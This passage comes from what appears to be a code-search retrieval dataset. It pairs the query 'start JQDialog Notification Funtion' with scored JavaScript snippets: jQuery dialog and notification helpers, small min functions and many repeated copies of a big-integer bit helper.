"8e8e16521fa64cf885ae287c7b0780e6", "score": "0.6200723", "text": "theSmallestOfTheNumbersEntered(pAllNumbersWithNumber) { \n let smallestNumber = Math.min.apply(null, pAllNumbersWithNumber); \n dom.getElementById(\"smallest\").innerHTML = smallestNumber;\n }", "title": "" }, { "docid": "f0ef1443f0f8531c9ec54589ce04c110", "score": "0.6199966", "text": "function min(num1, num2) {\n if(num1 < num2){\n return num1;\n }\n\n return num2;\n}", "title": "" }, { "docid": "2547bc1cb8b1639b93c598c965f1a941", "score": "0.6187552", "text": "function min(a, b){\r\n\tif (a < b){\r\n\t\treturn a;\r\n\t} else {\r\n\t\treturn b;\r\n\t}\r\n}", "title": "" }, { "docid": "5bd5937b00141f2fda56dc3fced038b3", "score": "0.618616", "text": "function bnGetLowestSetBit() {\r\n for (var i = 0; i < this.t; ++i)\r\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\r\n if (this.s < 0) return this.t * this.DB;\r\n return -1;\r\n}", "title": "" }, { "docid": "e2339de95a95e91b8d0f1036089cdeaf", "score": "0.6179155", "text": "function min(first_num, second_num) {\n if (first_num > second_num) {\n return second_num;\n }\n else {\n return first_num\n }\n}", "title": "" }, { "docid": "b317e1b9bcd76f42c7e7e42fd1eefd7a", "score": "0.6172321", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i) {\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\n }if (this.s < 0) return this.t * this.DB;\n return -1;\n }", "title": "" }, { "docid": "77be601022ea3c8f4cd54cb7bb13c966", "score": "0.61713785", "text": "function bnGetLowestSetBit() {\r\n for(var i = 0; i < this.t; ++i)\r\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\r\n if(this.s < 0) return this.t*this.DB;\r\n return -1;\r\n }", "title": "" }, { "docid": "5f1f92417129efec4151e4068ae1defb", "score": "0.6164114", "text": "function min(a, b) {\n if (a < b)\n return a;\n else\n return b;\n }", "title": "" }, { "docid": "52b947bdce84a4c70372981764dce651", "score": "0.6163801", "text": "function minimum(numbers) {\n let min = null\n let myNumbers = numbers.slice()\n if (myNumbers.length === 0) {\n return\n } else {\n for (let i = 0; i < numbers.length; i++) {\n let placeholder = numbers[i]\n if (min === null) {\n min = placeholder\n } else {\n if (placeholder < min) {\n min = placeholder\n }\n }\n }\n }\n return min\n}", "title": "" }, { "docid": "1a681bfef895b90b3ce827adf3c68734", "score": "0.61515987", "text": "function min(arr) {\n if(arr){\n return Math.min.apply( Math, arr );\n }else{\n return 'Infinity';\n }\n}", "title": "" }, { "docid": "95a4661989f7fd25529b43fc97adcee8", "score": "0.61513394", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i) if (this[i] != 0) return i * this.DB + lbit(this[i]);\n if (this.s < 0) return this.t * this.DB;\n return -1;\n }", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "49444376416af610162d526fbd3608a7", "score": "0.61510956", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i])\n if (this.s < 0) return this.t * this.DB\n return -1\n}", "title": "" }, { "docid": "982545d8b9f260e3e5cad0f137acdfbd", "score": "0.61503726", "text": "function bnGetLowestSetBit() {\n\t for(var i = 0; i < this.t; ++i)\n\t if(this[i] != 0) return i*this.DB+lbit(this[i]);\n\t if(this.s < 0) return this.t*this.DB;\n\t return -1;\n\t }", "title": "" }, { "docid": "982545d8b9f260e3e5cad0f137acdfbd", "score": "0.61503726", "text": "function bnGetLowestSetBit() {\n\t for(var i = 0; i < this.t; ++i)\n\t if(this[i] != 0) return i*this.DB+lbit(this[i]);\n\t if(this.s < 0) return this.t*this.DB;\n\t return -1;\n\t }", "title": "" }, { "docid": "982545d8b9f260e3e5cad0f137acdfbd", "score": "0.61503726", "text": "function bnGetLowestSetBit() {\n\t for(var i = 0; i < this.t; ++i)\n\t if(this[i] != 0) return i*this.DB+lbit(this[i]);\n\t if(this.s < 0) return this.t*this.DB;\n\t return -1;\n\t }", "title": "" }, { "docid": "982545d8b9f260e3e5cad0f137acdfbd", "score": "0.61503726", "text": "function bnGetLowestSetBit() {\n\t for(var i = 0; i < this.t; ++i)\n\t if(this[i] != 0) return i*this.DB+lbit(this[i]);\n\t if(this.s < 0) return this.t*this.DB;\n\t return -1;\n\t }", "title": "" } ]
d78d20e5ecd1e6365d25dd1ed570d9be
start JQDialog Notification Funtion
[ { "docid": "11c3b6563d0dc8463c467d16886aebef", "score": "0.66579396", "text": "function JQDialogNotify(message, durationTime, status) {\r\n\r\n // notify dialog\r\n $.jqDialog.notify(message, durationTime);\r\n\r\n // first remove class\r\n $(\"#jqDialog_box\").removeClass();\r\n\r\n // notify dialog status class in jqDialog_box\r\n $(\"#jqDialog_box\").addClass(status);\r\n\r\n}", "title": "" } ]
[ { "docid": "f4e9d63fe6d006a7a416ea1bd2bd2132", "score": "0.63254935", "text": "function start() {\n\tstatusDialog.show();\n}", "title": "" }, { "docid": "5cc2b284a1cc1f7b00d042a6f26499b7", "score": "0.61804885", "text": "function JQDialogConfirm(message, status, callBackYes, callBackNo) {\r\n\r\n // confirm dialog\r\n $.jqDialog.confirm(message, callBackYes, callBackNo);\r\n\r\n // first remove class\r\n $(\"#jqDialog_box\").removeClass();\r\n\r\n // confirm dialog status class in jqDialog_box\r\n $(\"#jqDialog_box\").addClass(status);\r\n\r\n}", "title": "" }, { "docid": "4000e8016f3d49cb13642b6438c37578", "score": "0.61596304", "text": "function JQDialogAlert(message, status, callBackOk) {\r\n\r\n // alert dialog\r\n $.jqDialog.alert(message, callBackOk);\r\n\r\n // first remove class\r\n $(\"#jqDialog_box\").removeClass();\r\n\r\n // alert dialog status class in jqDialog_box\r\n $(\"#jqDialog_box\").addClass(status);\r\n\r\n}", "title": "" }, { "docid": "7e52b7042725688ab9e4fe5433ee6d2d", "score": "0.6123902", "text": "function JQDialogPrompt(message, content, status, callBackOk, callBackCancel) {\r\n\r\n // prompt\r\n $.jqDialog.prompt(message, content, callBackOk, callBackCancel);\r\n\r\n // first remove class\r\n $(\"#jqDialog_box\").removeClass();\r\n\r\n // alert dialog status class in jqDialog_box\r\n $(\"#jqDialog_box\").addClass(status);\r\n\r\n}", "title": "" }, { "docid": "7b56e36aa564ea8563df614586574b34", "score": "0.6041979", "text": "prompt() {\n this.$.notification.opened = true;\n this.$.notification.fit();\n }", "title": "" }, { "docid": "bde849cd1b3339251bc0ee7a8de2cb97", "score": "0.59470904", "text": "function start() {\n gw_job_process.UI();\n var args = { ID: gw_com_api.v_Stream.msg_openedDialogue };\n gw_com_module.streamInterface(args);\n }", "title": "" }, { "docid": "efe2d2e1cef9c3854b3741fd53cdd068", "score": "0.59390014", "text": "function popupWithOk() {\r\n\tj.popup();\r\n}", "title": "" }, { "docid": "1b0e48c1098b0db7d2bfbea3aedd8147", "score": "0.5911375", "text": "function showNotificationCofirm() {\n navigator.notification.confirm(\n dialogConfirmMessage + selectedButton.toLowerCase() + \"?\", // message\n onConfirm, // callback to invoke with index of button pressed\n appName, // title\n ['Sim', 'Cancelar'] // buttonLabels\n );\n}", "title": "" }, { "docid": "0bc8c5c85c0c304e5463889a8b9251cb", "score": "0.58909863", "text": "function show(dialog) {\n\t\n}", "title": "" }, { "docid": "e6fb0d3362ec3109f5b369c65f9ecd51", "score": "0.587569", "text": "open() {\n this.$.dialog.open();\n }", "title": "" }, { "docid": "8eb6219fd8c2607fba8e83b5c35447c8", "score": "0.58625185", "text": "function showNewDialog() {\n dialog.dialog(\"open\");\n}", "title": "" }, { "docid": "23260a006723e42edfaa9b0e9264e1fd", "score": "0.5753239", "text": "function triggerUi() {\n extension.tabs.query({ active: true }, function (tabs) {\n var currentlyActiveMetamaskTab = Boolean(tabs.find(function (tab) {\n return openMetamaskTabsIDs[tab.id];\n }));\n /**\n * https://github.com/poanetwork/metamask-extension/issues/19\n * !notificationIsOpen was removed from the check, because notification can be opened, but it can be behind the DApp\n * for some reasons. For example, if notification popup was opened, but user moved focus to DApp.\n * New transaction, in this case, will not appear in front of DApp.\n */\n if (!popupIsOpen && !currentlyActiveMetamaskTab) {\n notificationManager.showPopup();\n }\n });\n}", "title": "" }, { "docid": "2833f779471c19c2caa7045a7b876303", "score": "0.5746573", "text": "function JQDialogCustomContent(content, status) {\r\n\r\n // custom content\r\n $.jqDialog.content(content);\r\n\r\n // first remove class\r\n $(\"#jqDialog_box\").removeClass();\r\n\r\n // alert dialog status class in jqDialog_box\r\n $(\"#jqDialog_box\").addClass(status);\r\n\r\n}", "title": "" }, { "docid": "17c04dc6366a34786abfdcf400a759af", "score": "0.5652913", "text": "notifyMainWindow(eventType, opt_extraParams) {\n this.mainWindow.dispatchEvent(new CustomEvent(eventType, opt_extraParams));\n //this.mainWindow.$(this.mainWindow).trigger(eventType, opt_extraParams);\n }", "title": "" }, { "docid": "0ec535bedc0137c703fddbb69b7c28be", "score": "0.5647618", "text": "function promptBeforeClosingAJobInActiveJobs( elem )\n{ \n $( \"div#close_job_dialog_confirm_active\" ).data('thisss', elem).dialog( \"open\" );\n}", "title": "" }, { "docid": "48f845f07810cc7b8e170e8bd1f2b7e4", "score": "0.56293434", "text": "function wireup_confirm(){\n var cnfirm = document.getElementById(\"splash_confirm\");\n cnfirm.addEventListener(\"click\", function(e){\n ipcRenderer.send('show_main');\n ipcRenderer.send('close_splash');\n })\n}", "title": "" }, { "docid": "32c6d89b0fe6a9ebd30a15121359df0d", "score": "0.5603826", "text": "function connectDialog() {\r\n\t$('#connection-dialog').dialog({\r\n\t\tmodal : true,\r\n\t\tdraggable : false,\r\n\t\tminWidth : 400,\r\n\t\tminHeight : 250\r\n\t});\r\n}", "title": "" }, { "docid": "dc4d60db9a71110ebcc17c9370267bc7", "score": "0.5602041", "text": "function onDialogCloseClick(createSketchDialogView) {\n createSketchDialogView.notifyAll(new DialogCloseEvent());\n}", "title": "" }, { "docid": "89051166f20333530bf4b69d037c923e", "score": "0.5573862", "text": "function dialog() {\n}", "title": "" }, { "docid": "0ce0dfb0df8992a7d8f77bd60f04a870", "score": "0.55669606", "text": "function promptBeforeDeletingJob( elem )\n{ \n $( \"div#delete_job_dialog_confirm1\").data('delete_job_dialog', elem).dialog( \"open\" );\n}", "title": "" }, { "docid": "0ce0dfb0df8992a7d8f77bd60f04a870", "score": "0.55669606", "text": "function promptBeforeDeletingJob( elem )\n{ \n $( \"div#delete_job_dialog_confirm1\").data('delete_job_dialog', elem).dialog( \"open\" );\n}", "title": "" }, { "docid": "2a6102b8beea61e3d4e0f689417126fa", "score": "0.5561828", "text": "function startup(data,reason) {\n console.log(\"startup!\");\n\n var ww = Components.classes[\"@mozilla.org/embedcomp/window-watcher;1\"] \n .getService(Components.interfaces.nsIWindowWatcher);\n\n //Services.wm.addListener(WindowListener);\n\n var win = ww.openWindow(null, \"chrome://messenger/content/messenger.xul\",\n \"ChromeWindow\", \"chrome,centerscreen\", null);\n\n\n}", "title": "" }, { "docid": "9bdb44c8359d05541fd822e5e2950337", "score": "0.5553562", "text": "function start() { \n \t//[3.1] UI & Events\n \tgw_job_process.UI(); \n \tgw_job_process.procedure();\n\n \tprocessInsert({});\n\n //[3.2] Notice Opened Event to Master Page\n var args = { ID: gw_com_api.v_Stream.msg_openedDialogue };\n gw_com_module.streamInterface(args);\n }", "title": "" }, { "docid": "a87935c93eb4ee2f6cfc6447814afcb7", "score": "0.5517172", "text": "_addSlots(){this.message=\"Slot Added Successfully\";this.$.modal.open()}", "title": "" }, { "docid": "4733ad6f9f969d39bf00c8443512c470", "score": "0.55136627", "text": "async gameStart() {\n this.modal = new DialogModal(this.helper.mainUI);\n }", "title": "" }, { "docid": "ea2f75f7600e3ee497cb5e951840ce04", "score": "0.5506604", "text": "function AddDeliverBySuccess() {\n\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#addDeliverByDialog').dialog('close');\n\n //JQDialogAlert mass, status\n JQDialogAlert(\"Data saved successfully.\", \"dialogSuccess\");\n\n ResetDeliverByGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n }\n}", "title": "" }, { "docid": "409e64951cea465805ae5078218f244a", "score": "0.5492352", "text": "function trigDialog() {\n\tSpreadsheetApp.getUi().showModalDialog(\n\t\tgenerateDialog('Views/trigDialogPage.html'),\n\t\t'Control GMail Checking:'\n\t);\n}", "title": "" }, { "docid": "974ed45ad237daea5bd56e7bf8303b18", "score": "0.54916996", "text": "function Dialog() {\n\t}", "title": "" }, { "docid": "1a2004b76b8c266e9e0f5b788a786d5f", "score": "0.5483264", "text": "function alert(msg) {\n\t var dialog = buildDialog('消息提示', msg);\n\t dialog.modal('show');\n\t}", "title": "" }, { "docid": "33827a6dd76cd2639069a4b6b6a44857", "score": "0.54811937", "text": "function AddSimRegisterSuccess() {\n\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#addSimRegisterDialog').dialog('close');\n\n //JQDialogAlert mass, status\n JQDialogAlert(\"Data saved successfully.\", \"dialogSuccess\");\n\n ResetSimRegisterGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n }\n}", "title": "" }, { "docid": "db409a51efef357ef9abf12ffe4a7258", "score": "0.54735744", "text": "function showDialog(type, title, message) {\n electronRemote.dialog.showMessageBox(electronRemote.getCurrentWindow(), {\n type: type,\n title: title,\n message: message,\n });\n}", "title": "" }, { "docid": "e22c8b0a26edee08594ea8c79a8a8ca8", "score": "0.5449831", "text": "onTrigger() {\r\n\r\n // Output to console\r\n var boxid = Window.openMessageBox(this.option(\"title\"), this.option(\"text\"), 0x4000 | 0x10000, 0x4000)\r\n\r\n // Return promise\r\n return new Promise((onSuccess, onFail) => {\r\n\r\n // Listen for close\r\n function onClose(id, button) {\r\n\r\n // Ignore other dialogs closing\r\n if (id != boxid)\r\n return\r\n\r\n // Check which button was pressed\r\n if (button == 0x4000)\r\n onSuccess(true)\r\n else\r\n onFail(\"cancelled\")\r\n\r\n // Remove listener\r\n Window.messageBoxClosed.disconnect(onClose)\r\n\r\n }\r\n Window.messageBoxClosed.connect(onClose)\r\n\r\n })\r\n\r\n }", "title": "" }, { "docid": "6d7675a228761f54fe07eab856272f7b", "score": "0.5430201", "text": "function showAlertCommingSoon() {\n navigator.notification.alert(\n 'Weitere Flugzeugen werden bald erscheinen', // message\n alertDismissed, // callback\n 'Coming soon...', // title\n 'OK' // buttonName\n )\n}", "title": "" }, { "docid": "a9c67ccd7d86023515bc96a236b0a5e9", "score": "0.54185945", "text": "function showDialog(title, body, onfinish, oktext, canceltext)\r\n{\r\n // If variabls not passed in use a default.\r\n onfinish=argv(onfinish,\"\");\r\n oktext=argv(oktext, \"Ok\");\r\n canceltext=argv(canceltext, \"Annuler\");\r\n \r\n $(dlg.Header).html(title);\r\n $(dlg.Body).html(body);\r\n \r\n var ok = \"<input type='button' value='\" + oktext + \"' onclick='closeDialog();\" + onfinish + \"' />\";\r\n var cancel = \"<input type='button' value='\" + canceltext + \"' onclick='closeDialog();' />\";\r\n $(dlg.Buttons).html(ok + cancel);\r\n \r\n $(dlg.Window).show();\r\n}", "title": "" }, { "docid": "e5a319a4665300e60d42532c01d7e01e", "score": "0.5411049", "text": "function popUpRequestEnded(sender, args) {\r\n try {\r\n waitDialog.close();\r\n waitDialog = null;\r\n } catch (ex) { }\r\n}", "title": "" }, { "docid": "5448f8f3e721d70c1e1097376a2601ea", "score": "0.53989774", "text": "function setupWaitDialog() {\n jQuery('#uniWaitDialog').dialog({\n autoOpen: false,\n resize: \"auto\",\n width: 400,\n modal: true,\n closeOnEscape: false,\n open: function() {\n // Hide titlebar and close button\n jQuery('#uniWaitDialog').parent().find(\".ui-dialog-titlebar\").hide();\n jQuery('#uniWaitDialog').parent().find(\".ui-dialog-titlebar-close\").hide();\n },\n position: ['middle', 45]\n });\n }", "title": "" }, { "docid": "f56cd92b5449e673e3daf58a8e1e9dbd", "score": "0.53932136", "text": "function EditSimRegisterSuccess() {\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#editSimRegisterDialog').dialog('close');\n\n //JQDialogAlert mass, status\n JQDialogAlert(\"Data updated successfully.\", \"dialogSuccess\");\n\n ResetSimRegisterGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n }\n}", "title": "" }, { "docid": "be82d08ce240111fd4fb66229d9b47e4", "score": "0.5388304", "text": "function open(dialog) {\n\t\n}", "title": "" }, { "docid": "be82d08ce240111fd4fb66229d9b47e4", "score": "0.5388304", "text": "function open(dialog) {\n\t\n}", "title": "" }, { "docid": "a6eebffb5157d5d14a0ea1424f9cf14f", "score": "0.5386375", "text": "dialogClose() {}", "title": "" }, { "docid": "a6eebffb5157d5d14a0ea1424f9cf14f", "score": "0.5386375", "text": "dialogClose() {}", "title": "" }, { "docid": "9651808a64eb412cf810ffd06658388b", "score": "0.5381768", "text": "function notifyClickEvent() {\n\t\t\tvar url = $notifyDiv.prop('url');\n if (url !== undefined) {\n open(url);\n }\n\t\t}", "title": "" }, { "docid": "b2074d57de4153a8afbcd88fc89333e4", "score": "0.53761303", "text": "showDialog() {\n let dialog = document.getElementById(AppsterGUIId.APPSTER_CONFIRM_MODAL);\n dialog.classList.add(AppsterGUIClass.IS_VISIBLE);\n }", "title": "" }, { "docid": "8370485975ca0ba8821c95ad3112678c", "score": "0.5365966", "text": "function promptBeforeClosingAJobInExpiredJobs( elem )\n{ \n\t$( \"div#close_job_dialog_confirm_expire\" ).data('thisss1', elem).dialog( \"open\" );\n}", "title": "" }, { "docid": "492fd7fac74c6a8a2accdfdaca8bb123", "score": "0.5358957", "text": "function setupMessageDialog() {\n jQuery('#uniMessageDialog').dialog({\n autoOpen: false,\n resize: \"auto\",\n width: 450,\n modal: true,\n closeOnEscape: false,\n open: function() {\n // Hide the title bar\n jQuery('#uniMessageDialog').parent().find(\".ui-dialog-titlebar\").hide();\n },\n position: ['middle', 45],\n buttons: {\n \"OK\": function() {\n jQuery('#uniMessageDialog').dialog(\"close\");\n }\n\n },\n close: function() {\n jQuery('#uniMessageDialog').dialog(\"close\");\n }\n });\n }", "title": "" }, { "docid": "3f3782df9a0a41f99cb4398eac21d303", "score": "0.5358238", "text": "function showAlert() {\n navigator.notification.alert(\n 'Isso é uma notificação!', // message\n\t\t\talertDismissed, // callback\n 'INMUI', // title\n 'Ok' // buttonName\n );\n }", "title": "" }, { "docid": "55a6c422451caf8dad63f603beec7eb7", "score": "0.53533673", "text": "'LaunchRequest' () {\n this.emit(':ask', launchMessage);\n }", "title": "" }, { "docid": "c322a35e2052bd4fc637c53b5ea5c8fe", "score": "0.5349615", "text": "function EditDeliverBySuccess() {\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#editDeliverByDialog').dialog('close');\n\n //JQDialogAlert mass, status\n JQDialogAlert(\"Data updated successfully.\", \"dialogSuccess\");\n\n ResetDeliverByGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n }\n}", "title": "" }, { "docid": "00d4778219b3322dee1aa2b539be30d2", "score": "0.5336767", "text": "function dialogNotificador(){\n dialog = new BootstrapDialog({message: 'Procesando...',closable: false,});\n return dialog\n }", "title": "" }, { "docid": "1011ba59b657f8f7e628c504ebc5ec9e", "score": "0.5336445", "text": "function procCmd(cmd)\n{\nswitch(cmd)\n {\ncase\"Dialog\" :\nGUI_DIALOG();\nbreak;\n case \"Popup\":\n GUI_POPUP();\n break;\n \n }\n}", "title": "" }, { "docid": "85b7261cb91066ba3ddc0737ae7fe411", "score": "0.5336115", "text": "function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n },{\n type: 'success',\n timer: 1000\n });\n}", "title": "" }, { "docid": "ef2063bf3ccd58c4e9d71517d93adc45", "score": "0.5330276", "text": "openDialog(e){let children=FlattenedNodesObserver.getFlattenedNodes(this).filter(n=>n.nodeType===Node.ELEMENT_NODE),c=document.createElement(\"div\");for(var child in children){c.appendChild(children[child].cloneNode(!0))}const evt=new CustomEvent(\"simple-modal-show\",{bubbles:!0,cancelable:!0,detail:{title:this.term,elements:{content:c},invokedBy:this.shadowRoot.querySelector(\"#button\")}});window.dispatchEvent(evt)}", "title": "" }, { "docid": "e9f2d56fd68ee8fecfeab6256dab530c", "score": "0.5327791", "text": "openDialog(){// assemble everything in the slot\nlet nodes=(0,_polymerDom.dom)(this).getEffectiveChildNodes(),h=document.createElement(\"span\"),c=document.createElement(\"span\"),node={};for(var i in nodes){if(typeof nodes[i].tagName!==typeof void 0){switch(nodes[i].getAttribute(\"slot\")){case\"toolbar-primary\":case\"toolbar-secondary\":case\"toolbar\":case\"header\":node=nodes[i].cloneNode(!0);node.removeAttribute(\"slot\");h.appendChild(node);break;case\"button\":// do nothing\nbreak;default:node=nodes[i].cloneNode(!0);node.removeAttribute(\"slot\");if(this.dynamicImages&&\"IRON-IMAGE\"===node.tagName){node.preventLoad=!1;node.removeAttribute(\"prevent-load\")}c.appendChild(node);break;}}}const evt=new CustomEvent(\"simple-modal-show\",{bubbles:!0,cancelable:!0,detail:{title:this.header,elements:{header:h,content:c},invokedBy:this.$.dialogtrigger,clone:!0}});this.dispatchEvent(evt)}", "title": "" }, { "docid": "5036d09197732c302bcd00edae7a2a3a", "score": "0.53230286", "text": "function init(_event) {\n let dialog = document.querySelector(\"dialog\");\n dialog.querySelector(\"h1\").textContent = document.title;\n dialog.addEventListener(\"click\", function (_event) {\n // @ts-ignore until HTMLDialog is implemented by all browsers and available in dom.d.ts\n dialog.close();\n start(null);\n });\n //@ts-ignore\n dialog.showModal();\n }", "title": "" }, { "docid": "0e21a820b113f5d932ce754be0a16b3f", "score": "0.5321304", "text": "function ContinueShow() {\n handleCoClose();\n handleShow();\n }", "title": "" }, { "docid": "c092908dbd4c0960f5450787a8069636", "score": "0.53059196", "text": "function handleDialogOpen(state) {\n handleDialog(true)\n selectedTask(state)\n }", "title": "" }, { "docid": "070bb60907b0a64d60ac35b7ad6d8057", "score": "0.5294495", "text": "function ModalDialog() {}", "title": "" }, { "docid": "ac8c92ee1e3282cf55704f7313a11eb2", "score": "0.5294357", "text": "function btn_add_sendreceived_onclick(p_url){\r\n\t//Duong dan xu ly In\r\n\tp_url = p_url + '?showModalDialog=1/';\r\n\tDialogCenter(p_url,'',800,560);\r\n}", "title": "" }, { "docid": "dcc7d0f37eefea0a7638159f9c4b1e6d", "score": "0.52917796", "text": "function syncAlert() {\n // Sync notify\n $.notify({\n title: '<strong>Sync: </strong>',\n icon: 'fas fa-users',\n message: \" The room is now synced with you\"\n }, {\n type: 'success',\n delay: 400,\n animate: {\n enter: 'animated fadeInUp',\n exit: 'animated fadeOutRight'\n },\n placement: {\n from: \"bottom\",\n align: \"right\"\n },\n offset: 20,\n spacing: 10,\n z_index: 1031,\n });\n}", "title": "" }, { "docid": "0f46e37d5c96692f3a6535bb614c0eb8", "score": "0.5290894", "text": "function xeberdarEt() {\n\n dialog.alert({\n message: \"Məlumatları düzgün daxil edin\",\n button: \"Anladım\"\n });\n\n }", "title": "" }, { "docid": "565e790d035d5a25e4638faa8af9bf59", "score": "0.52846336", "text": "function confirmAction(msg, url) {\ndeprecatedModal('confirmAction');\n\njQuery.jalios.ui.Modal.confirm(msg , function(){\njQuery.jalios.Browser.redirect(url);\n});\n\nreturn false;\n}", "title": "" }, { "docid": "20fab9790737f6967536b58d5edf88e0", "score": "0.52823013", "text": "function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n },{\n type: 'success',\n timer: 1000\n });\n}", "title": "" }, { "docid": "1355f6b2d6213a90749963f612aea7d8", "score": "0.5280854", "text": "function onClickExampleDialog() {\n var dialogClass = typeof GlideModal != 'undefined' ? GlideModal : GlideDialogWindow;\n var dialog = new dialogClass('glide_modal_confirm');\n dialog.setTitle('Dialog title');\n dialog.setPreference(\"focusTrap\", true); // Restrict focus from moving out of Dialog\n dialog.setPreference('body', 'Approve this change?');\n dialog.setPreference('buttonLabelCancel', 'Cancel'); // Cancel button label\n dialog.setPreference('buttonLabelComplete', 'Complete'); // Complete button label\n dialog.setPreference('buttonClassComplete', 'btn btn-destructive'); // Complete button CSS\n dialog.setPreference('onPromptComplete', dialogComplete.bind(this)); // Complete button function\n dialog.setPreference('onPromptCancel', dialogCancel.bind(this)); // Cancel button function\n dialog.render();\n return true;\n}", "title": "" }, { "docid": "a441e69cd2d904c7dbb31ffa8460650b", "score": "0.52794504", "text": "function guiNotificationShow(caller) {\n if (!window.Notification)\n return;\n if (Notification.permission !== \"granted\")\n return;\n guiNotificationClose();\n\n try {\n const options = {\n image: 'images/old-phone.jpg',\n requireInteraction: true\n }\n // new Notification throws exception in Android Chrome\n desktopNotification = new Notification(\"Calling \" + caller, options);\n ac_log('desktopNotification created');\n desktopNotification.onclick = function (event) {\n event.target.close();\n desktopNotification = null;\n }\n } catch (e) {\n ac_log('cannot create Notification', e);\n }\n}", "title": "" }, { "docid": "754097587d41a450e43d21d4a5eba40e", "score": "0.52769524", "text": "NA() {\n Metro.dialog.create({\n title: \"This feature is not yet available\",\n content: \"<div>Working on fixing whatever you just did! :-)</div>\",\n actions: [\n {\n caption: \"OK\",\n cls: \"js-dialog-close alert\",\n onclick: function () {\n\n }\n }\n ]\n });\n }", "title": "" }, { "docid": "eb476860f204aed45c62bdf363d039cd", "score": "0.527579", "text": "function GNotifier_AlertsService_showAlertNotification_cb(iconPath) {\n \n if (notifyNative(iconPath, title, text, name)) {\n\tif(typeof(alertListener) == \"object\") {\n\t alertListener.observe(null, \"alertshow\", cookie);\n\t \n\t //TODO: Call the callback once the alert is actually finished...\n\t // Ugly workaround :-(\n\t setTimeout(function(){\n\t alertListener.observe(null, \"alertfinished\", cookie);\n\t },6000);\n\n\t}\n }\n\t \n }", "title": "" }, { "docid": "844528b0a7ad17a93828db9cf6c8b30c", "score": "0.5260622", "text": "onOkClick_() {\n this.$.dialog.close();\n }", "title": "" }, { "docid": "642939e058794ada868e698d75725a84", "score": "0.5259659", "text": "showDeleteCronJobConfirmation() {\n const dialogResult = this.grrDialogService_.openConfirmation(\n 'Delete cron job', 'Are you sure you want to DELETE this cron job?',\n this.deleteCronJob_.bind(this));\n\n dialogResult.then(function resolve() {\n this.triggerUpdate();\n }.bind(this));\n }", "title": "" }, { "docid": "060fc408eaaacf7c447d3a966ffae237", "score": "0.5259096", "text": "function DeleteSimRegisterSuccess() {\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#deleteSimRegisterDailog').dialog('close');\n\n //JQDialogAlert mass, status\n JQDialogAlert(\"Data deleted successfully.\", \"dialogSuccess\");\n\n ResetSimRegisterGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n\n }\n}", "title": "" }, { "docid": "a50de8d3c25501403fc4efd36a954ea9", "score": "0.5243708", "text": "function showAlert() {\n navigator.notification.alert(\n 'Något fel inträffade, prova igen.', // message\n alertDismissed, // callback\n 'ETER Support', // title\n 'OK' // buttonName\n );\n }", "title": "" }, { "docid": "d2f97441c557572d3f463c4e66de84b7", "score": "0.5242011", "text": "function DeleteDeliverBySuccess() {\n if ($(\"#updateTargetId\").html() == \"True\") {\n\n //now we can close the dialog\n $('#deleteDeliverByDailog').dialog('close');\n\n //JQDialogAlert mass, status\n 